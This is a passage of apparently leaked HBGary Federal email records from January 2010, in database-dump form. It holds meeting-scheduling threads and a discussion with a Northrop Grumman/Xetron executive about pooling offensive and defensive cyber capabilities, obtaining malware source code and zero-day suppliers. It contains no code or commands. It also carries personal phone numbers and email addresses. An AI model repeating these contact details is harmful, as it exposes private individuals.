tool like yours. &nbsp;If for whatever reason tomorrow am doesn&#8217;t\r\nwork for you guys, I suggest having the meeting without me and we can connect\r\nafterward. &nbsp;:+)\r\n\r\nCheers,\r\nA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings &lt;rich@hbgary.com&gt;\r\nDate: Tue, 19 Jan 2010 06:21:34 -0800\r\nTo: Amit Yoran &lt;amit@netwitness.com&gt;\r\nSubject: Meet this week? &nbsp;Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\nHey Amit,\r\n&nbsp;\r\nCan we get together this week to talk about some integration points of our\r\ntechnologies and some Govt contracts were going after this year? &nbsp;We&#8217;re\r\ngetting into the services space with a new company we started in Nov called\r\ncalled HBGary Federal. &nbsp;This organization was started to do classified\r\nwork and to extend the HBGary product line into that arena.\r\n&nbsp;&nbsp;HBGary&#8217;s CEO is Aaron Barr who comes to us from Northrop Grumman\r\nwhere he ran a book of business doing Information Operations for the last 15 or\r\nso years. &nbsp;&nbsp;\r\n&nbsp;\r\nI think we could team up to create some bleeding edge stuff. &nbsp;This week\r\nlooks good for Aaron and I.\r\n&nbsp;\r\nThanks,\r\nRich \r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street,\r\nSuite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state\r\nlaw governing electronic communications and may contain company proprietary and\r\nlegally privileged information. If the reader of this message is not the\r\nintended recipient, you are hereby notified that any dissemination,\r\ndistribution, use or copying of this message is strictly prohibited. If you\r\nhave received this in error, please reply immediately to the sender and delete\r\nthis message. Thank you. \r\n\r\n\r\n\r\n\r\n\r\n\r\n',7164,'aaron_hbgary_com/7164.html'),(1232,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000280.M635845P3547Q1233.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Meet this week? Integration discussion & I want to introduce CEO 	of HBGary Federal - Aaron Barr','Let&#39;s do tomorrow.From my iPhoneOn Jan 19, 2010, at 1:27 PM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWhat is your schedule this week?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Brian Girardi\r\n[mailto:brian@netwitness.com] \r\nSent: Tuesday, January 19, 2010 1:23 PM\r\nTo: Amit Yoran; Rich Cummings\r\nCc: Tim Belcher\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nFor me tomorrow 11:30-1 or after 3.\r\nThursday @1. Or push to next week.\r\n\r\n\r\nOn 1/19/10 1:13 PM, &quot;Amit Yoran&quot; &lt;amit@netwitness.com&gt;\r\nwrote:\r\n\r\nRich, would love to connect and explore.\r\nI can do tomorrow 9/930 until 11am.\r\nI’m on the road Thursday and downtown all day Friday.  \r\n\r\nI would like Tim and/or Brian to attend (probably more important that they\r\nattend than me even).  We have our infrastructure now working to rip files\r\nout of network traffic and export them into a directory, where they can be\r\ningested by a tool like yours.  If for whatever reason tomorrow am doesn’t\r\nwork for you guys, I suggest having the meeting without me and we can connect\r\nafterward.  :+)\r\n\r\nCheers,\r\nA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings &lt;rich@hbgary.com&gt;\r\nDate: Tue, 19 Jan 2010 06:21:34 -0800\r\nTo: Amit Yoran &lt;amit@netwitness.com&gt;\r\nSubject: Meet this week?  Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\nHey Amit,\r\n \r\nCan we get together this week to talk about some integration points of our\r\ntechnologies and some Govt contracts were going after this year?  We’re\r\ngetting into the services space with a new company we started in Nov called\r\ncalled HBGary Federal.  This organization was started to do classified\r\nwork and to extend the HBGary product line into that arena.\r\n  HBGary’s CEO is Aaron Barr who comes to us from Northrop Grumman\r\nwhere he ran a book of business doing Information Operations for the last 15 or\r\nso years.   \r\n \r\nI think we could team up to create some bleeding edge stuff.  This week\r\nlooks good for Aaron and I.\r\n \r\nThanks,\r\nRich \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street,\r\nSuite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state\r\nlaw governing electronic communications and may contain company proprietary and\r\nlegally privileged information. If the reader of this message is not the\r\nintended recipient, you are hereby notified that any dissemination,\r\ndistribution, use or copying of this message is strictly prohibited. If you\r\nhave received this in error, please reply immediately to the sender and delete\r\nthis message. Thank you. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14441,'aaron_hbgary_com/14441.html'),(1233,'2010-01-19','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000280.M824796P3547Q1234.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meet this week? Integration discussion & I want to introduce CEO of HBGary Federal - Aaron Barr','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAfter 3 is all I can do tomorrow with that work?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 1:29 PM\r\nTo: Rich Cummings\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLet\'s do tomorrow.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 19, 2010, at 1:27 PM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat\r\nis your schedule this week?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Brian Girardi\r\n[mailto:brian@netwitness.com] \r\nSent: Tuesday, January 19, 2010 1:23 PM\r\nTo: Amit Yoran; Rich Cummings\r\nCc: Tim Belcher\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to introduce\r\nCEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFor me tomorrow\r\n11:30-1 or after 3. Thursday @1. Or push to next week.\r\n\r\n\r\nOn 1/19/10 1:13 PM, &quot;Amit Yoran&quot; &lt;amit@netwitness.com&gt; wrote:\r\n\r\nRich, would love to\r\nconnect and explore.\r\nI can do tomorrow 9/930 until 11am.\r\nI&#8217;m on the road Thursday and downtown all day Friday. &nbsp;\r\n\r\nI would like Tim and/or Brian to attend (probably more important that they\r\nattend than me even). &nbsp;We have our infrastructure now working to rip files\r\nout of network traffic and export them into a directory, where they can be\r\ningested by a tool like yours. &nbsp;If for whatever reason tomorrow am doesn&#8217;t\r\nwork for you guys, I suggest having the meeting without me and we can connect\r\nafterward. &nbsp;:+)\r\n\r\nCheers,\r\nA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings &lt;rich@hbgary.com&gt;\r\nDate: Tue, 19 Jan 2010 06:21:34 -0800\r\nTo: Amit Yoran &lt;amit@netwitness.com&gt;\r\nSubject: Meet this week? &nbsp;Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\nHey Amit,\r\n&nbsp;\r\nCan we get together this week to talk about some integration points of our\r\ntechnologies and some Govt contracts were going after this year? &nbsp;We&#8217;re\r\ngetting into the services space with a new company we started in Nov called\r\ncalled HBGary Federal. &nbsp;This organization was started to do classified\r\nwork and to extend the HBGary product line into that arena.\r\n&nbsp;&nbsp;HBGary&#8217;s CEO is Aaron Barr who comes to us from Northrop Grumman\r\nwhere he ran a book of business doing Information Operations for the last 15 or\r\nso years. &nbsp;&nbsp;\r\n&nbsp;\r\nI think we could team up to create some bleeding edge stuff. &nbsp;This week\r\nlooks good for Aaron and I.\r\n&nbsp;\r\nThanks,\r\nRich \r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street,\r\nSuite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state\r\nlaw governing electronic communications and may contain company proprietary and\r\nlegally privileged information. If the reader of this message is not the\r\nintended recipient, you are hereby notified that any dissemination,\r\ndistribution, use or copying of this message is strictly prohibited. If you\r\nhave received this in error, please reply immediately to the sender and delete\r\nthis message. Thank you. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11682,'aaron_hbgary_com/11682.html'),(1234,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000280.M9722P3547Q1230.eml','\"Bob Frizelle\" <rfrizzelle@csc.com>','Thank You','Happy New Year.\r\n\r\nThank you for the christmas card.  That was very thoughtful.\r\n\r\nDo you have some time this week or next to get together for lunch?\r\n\r\nLooking forward to catching up.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11039,'aaron_hbgary_com/11039.html'),(1235,'2010-01-19','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000281.M269536P3547Q1236.eml','\"Brian Girardi\" <brian@netwitness.com>,\"Amit Yoran\" <amit@netwitness.com>,\"Brian Girardi\" <brian@netwitness.com>,\"Amit Yoran\" <amit@netwitness.com>','RE: Meet this week?  Integration discussion & I want to introduce CEO of HBGary Federal - Aaron Barr','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nRe: Meet this week? &nbsp;Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat thanks Amit and Brian.&nbsp; Aaron and I can do tomorrow at 3PM.&nbsp;\r\nShould we come to the Netwitness office then?\r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Brian Girardi\r\n[mailto:brian@netwitness.com] \r\nSent: Tuesday, January 19, 2010 1:23 PM\r\nTo: Amit Yoran; Rich Cummings\r\nCc: Tim Belcher\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFor me tomorrow 11:30-1 or after 3.\r\nThursday @1. Or push to next week.\r\n\r\n\r\nOn 1/19/10 1:13 PM, &quot;Amit Yoran&quot; &lt;amit@netwitness.com&gt;\r\nwrote:\r\n\r\nRich, would love to connect and explore.\r\nI can do tomorrow 9/930 until 11am.\r\nI&#8217;m on the road Thursday and downtown all day Friday. &nbsp;\r\n\r\nI would like Tim and/or Brian to attend (probably more important that they\r\nattend than me even). &nbsp;We have our infrastructure now working to rip files\r\nout of network traffic and export them into a directory, where they can be\r\ningested by a tool like yours. &nbsp;If for whatever reason tomorrow am doesn&#8217;t\r\nwork for you guys, I suggest having the meeting without me and we can connect\r\nafterward. &nbsp;:+)\r\n\r\nCheers,\r\nA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings &lt;rich@hbgary.com&gt;\r\nDate: Tue, 19 Jan 2010 06:21:34 -0800\r\nTo: Amit Yoran &lt;amit@netwitness.com&gt;\r\nSubject: Meet this week? &nbsp;Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\nHey Amit,\r\n&nbsp;\r\nCan we get together this week to talk about some integration points of our\r\ntechnologies and some Govt contracts were going after this year? &nbsp;We&#8217;re\r\ngetting into the services space with a new company we started in Nov called\r\ncalled HBGary Federal. &nbsp;This organization was started to do classified\r\nwork and to extend the HBGary product line into that arena.\r\n&nbsp;&nbsp;HBGary&#8217;s CEO is Aaron Barr who comes to us from Northrop Grumman\r\nwhere he ran a book of business doing Information Operations for the last 15 or\r\nso years. &nbsp;&nbsp;\r\n&nbsp;\r\nI think we could team up to create some bleeding edge stuff. &nbsp;This week\r\nlooks good for Aaron and I.\r\n&nbsp;\r\nThanks,\r\nRich \r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street,\r\nSuite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state\r\nlaw governing electronic communications and may contain company proprietary and\r\nlegally privileged information. If the reader of this message is not the\r\nintended recipient, you are hereby notified that any dissemination,\r\ndistribution, use or copying of this message is strictly prohibited. If you\r\nhave received this in error, please reply immediately to the sender and delete\r\nthis message. Thank you. \r\n\r\n\r\n\r\n\r\n\r\n\r\n',5075,'aaron_hbgary_com/5075.html'),(1236,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000281.M36376P3547Q1235.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Meet this week? Integration discussion & I want to introduce CEO 	of HBGary Federal - Aaron Barr','Sure let&#39;s do after 3.From my iPhoneOn Jan 19, 2010, at 1:31 PM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAfter 3 is all I can do tomorrow with that work?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 1:29 PM\r\nTo: Rich Cummings\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nLet&#39;s do tomorrow.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 19, 2010, at 1:27 PM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat\r\nis your schedule this week?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Brian Girardi\r\n[mailto:brian@netwitness.com] \r\nSent: Tuesday, January 19, 2010 1:23 PM\r\nTo: Amit Yoran; Rich Cummings\r\nCc: Tim Belcher\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to introduce\r\nCEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nFor me tomorrow\r\n11:30-1 or after 3. Thursday @1. Or push to next week.\r\n\r\n\r\nOn 1/19/10 1:13 PM, &quot;Amit Yoran&quot; &lt;amit@netwitness.com&gt; wrote:\r\n\r\nRich, would love to\r\nconnect and explore.\r\nI can do tomorrow 9/930 until 11am.\r\nI’m on the road Thursday and downtown all day Friday.  \r\n\r\nI would like Tim and/or Brian to attend (probably more important that they\r\nattend than me even).  We have our infrastructure now working to rip files\r\nout of network traffic and export them into a directory, where they can be\r\ningested by a tool like yours.  If for whatever reason tomorrow am doesn’t\r\nwork for you guys, I suggest having the meeting without me and we can connect\r\nafterward.  :+)\r\n\r\nCheers,\r\nA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings &lt;rich@hbgary.com&gt;\r\n\r\nDate: Tue, 19 Jan 2010 06:21:34 -0800\r\nTo: Amit Yoran &lt;amit@netwitness.com&gt;\r\nSubject: Meet this week?  Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\nHey Amit,\r\n \r\nCan we get together this week to talk about some integration points of our\r\ntechnologies and some Govt contracts were going after this year?  We’re\r\ngetting into the services space with a new company we started in Nov called\r\ncalled HBGary Federal.  This organization was started to do classified\r\nwork and to extend the HBGary product line into that arena.\r\n  HBGary’s CEO is Aaron Barr who comes to us from Northrop Grumman\r\nwhere he ran a book of business doing Information Operations for the last 15 or\r\nso years.   \r\n \r\nI think we could team up to create some bleeding edge stuff.  This week\r\nlooks good for Aaron and I.\r\n \r\nThanks,\r\nRich \r\n \r\n \r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street,\r\nSuite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state\r\nlaw governing electronic communications and may contain company proprietary and\r\nlegally privileged information. If the reader of this message is not the\r\nintended recipient, you are hereby notified that any dissemination,\r\ndistribution, use or copying of this message is strictly prohibited. If you\r\nhave received this in error, please reply immediately to the sender and delete\r\nthis message. Thank you. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2360,'aaron_hbgary_com/2360.html'),(1237,'2010-01-19','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000281.M465099P3547Q1237.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: ES Big Ideas','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nDo you have source code for malware?&nbsp; How did you get it?&nbsp; I was\r\nexpecting binaries and not source.&nbsp; Source would be great if it is the original\r\nsource for the malware but I still am curious how you got it.&nbsp; The plan is to\r\ndemonstrate modifying the malware&#8217;s comms to a new interface.\r\n\r\n&nbsp;\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3543 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 1:01 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: ES Big Ideas\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOn the Malware.... do you need source code? or just the\r\nbinaries for integration?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 19, 2010, at 7:49 AM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHay Aaron,\r\n\r\n\r\n\r\n\r\n\r\nI have talked to End Game.&nbsp; We have an NDA in place and I\r\nneed to go meet with them but I just have not had time.\r\n\r\n\r\n\r\n\r\n\r\nYou have a better understanding of the products at this point so\r\nI am relying on your analysis.&nbsp; How do you see these tools being\r\nintegrated together?&nbsp; I can two money sources; Xetron NCTAs and going\r\nafter sector money.&nbsp; There may be another one that I can capitalize\r\non.&nbsp;&nbsp; John Jadik, our VP, had a consultant into Baltimore last week\r\nto discuss growth.&nbsp;&nbsp; I was not there but Bill was. &nbsp;He told me\r\nthe consultant told the attendees that Xetron should put all their resources\r\ninto cyber as it is the only growth area within our portfolio.&nbsp; Now, John\r\nheld back some NCTAs this year so if I could put a proposal to him I could\r\npossibly get the heldback NCTAs.\r\n\r\n\r\n\r\n\r\n\r\nSo, what do you see as the integration needs given price points of,\r\nsay, 100-200K(6-12MM), 500K, 1M and 2M?&nbsp; I can turn on 100K tomorrow, or\r\nas soon as we can get the tools assembled.&nbsp; Also, I would like to get\r\nACT&amp;D&#8217;s Information geometry technology integrated to see if it can\r\nactually do anything of benefit.\r\n\r\n\r\n\r\n\r\n\r\nI talked to Matt at Palantir yesterday.&nbsp; Their minimal\r\nlicense cost is several hundred K.&nbsp; That is pretty pricey.&nbsp; Would be\r\nnice if they had a lower-priced entry point but then, it only takes a few\r\nmulti-mil licenses to make the year for you.\r\n\r\n\r\n\r\n\r\n\r\nI am going to use our Cygnus program for your clearances.&nbsp;\r\nThe sell is that we are going to look at integrating HBGary products and\r\ntechnology into the base-end so we need your assistance and thus the clearance\r\nrequest.&nbsp; The Cygnus PM was out yesterday so I will talk to him today if\r\nhe is back.\r\n\r\n\r\n\r\n\r\n\r\nLet me know about the class in DC in March.&nbsp; If not, we&#8217;ll\r\ndo February.&nbsp; March may be too long to wait.\r\n\r\n\r\n\r\n\r\n\r\nOn the mobile side, what are you thinking?&nbsp; Brian Christos\r\nbrought me an opportunity for some mobile security work which I have some IRAD\r\nworking on.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo, can you through me slides on what you think can be done for\r\nthe price points and what you think these products will look like as a Threat\r\nIntelligence Center?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, IO Programs&nbsp;\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 513-881-3543\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, January 18,\r\n2010 3:53 PM\r\nTo:&nbsp;Masterson, Brian\r\n(Xetron)\r\nSubject:&nbsp;Re: ES Big Ideas\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey Brian,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI the idea of a Threat Intelligence Center that works or\r\nshould I say blurs the line between the two sides, offense and defense. &nbsp;I\r\nhad a great conversation with a company called End Games last week. &nbsp;Have\r\nyou heard of them? &nbsp;They have some significant capabilities on offense.\r\n&nbsp;They develop more inhouse zero days per year than anyone I have heard of.\r\n&nbsp;They also control some significant capabilities... I am not sure how\r\nactually they do some of the things they do but they have all the big customers.\r\n&nbsp;They are not in the services business, they only sell capabilities and\r\nsubscriptions, so they are interested in partnering with HBGary Federal to work\r\ntheir capabilities on the services side. &nbsp;We are meeting with Netwitness\r\nnext week to discuss the same thing.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSo no we have HBGary, Palantir, EndGames, Netwitness....all\r\nproducts/capabilities with Xetron/HBGary handling the services/deployment of\r\nthese capabilities on site. &nbsp;If Xetron can fund much of the integration it\r\nwould get us their much faster....all these other guys are small companies with\r\ngreat capability, and of course you know that HBGary Federal is a very small\r\ncompany with big ideas. &nbsp;I would like to partner tightly to you guys to\r\nhelp build my business.... sounds like a win win, eh?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat I am talking about is basically putting together a\r\ncyber version of an intel service, very focused on APT. &nbsp;As was mentioned\r\na few times at the AF cyber conference last week. &nbsp;Cybersecurity efforts\r\nmade over the last year or so have greatly improved our security against\r\naverage threats, but has done really nothing to protect against APT.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThoughts?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nP.S. &nbsp;On the class, the Feb. class is the only one of\r\nits type. &nbsp;Maybe a DC class in March, have to check.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAny status on the clearances? &nbsp;I can\'t remember, but\r\nwere you going to be able to put us in for IC tickets as well?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAnother idea. &nbsp;What about building out some mobile\r\ncapability. &nbsp;Maybe some mobile commercial capability? &nbsp;I have some\r\nideas here.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 18, 2010, at 1:58 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\nJust getting back into\r\nit.&nbsp; ES is looking for big ideas to fund for the year.&nbsp;&nbsp; Do you\r\nhave any thoughts on a sizeable investment that we could make to further\r\ndevelop an HBGary/Palantir capability?&nbsp; I have one in the works for\r\nnetwork defense but am looking for others.\r\n\r\nBrian\r\n\r\nBrian\r\nMasterson\r\n\r\nNorthrop\r\nGrumman/Xetron\r\n\r\nChief\r\nTechnology Officer, IO Programs\r\n\r\nPh:\r\n513-881-3591\r\n\r\nCell:\r\n513-706-4848\r\n\r\nFax:\r\n513-881-3543\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15794,'aaron_hbgary_com/15794.html'),(1238,'2010-01-19','\"Brian Girardi\" <brian@netwitness.com>','/aaron@hbgary.com/new/1297000281.M661094P3547Q1238.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Amit Yoran\" <amit@netwitness.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Amit Yoran\" <amit@netwitness.com>','Re: Meet this week?  Integration discussion & I want to introduce CEO of HBGary Federal - Aaron Barr','\r\n\r\nRe: Meet this week? &nbsp;Integration discussion &amp; I want to introduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\nYes. See you then. -Brian\r\n\r\nOn 1/19/10 2:10 PM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\nGreat thanks Amit and Brian. &nbsp;Aaron and I can do tomorrow at 3PM. Should we come to the Netwitness office then?\r\n&nbsp;\r\nRich\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;\r\n&nbsp;\r\n\r\nFrom: Brian Girardi [mailto:brian@netwitness.com] \r\nSent: Tuesday, January 19, 2010 1:23 PM\r\nTo: Amit Yoran; Rich Cummings\r\nCc: Tim Belcher\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to introduce CEO of HBGary Federal - Aaron Barr\r\n \r\nFor me tomorrow 11:30-1 or after 3. Thursday @1. Or push to next week.\r\n\r\n\r\nOn 1/19/10 1:13 PM, &quot;Amit Yoran&quot; &lt;amit@netwitness.com&gt; 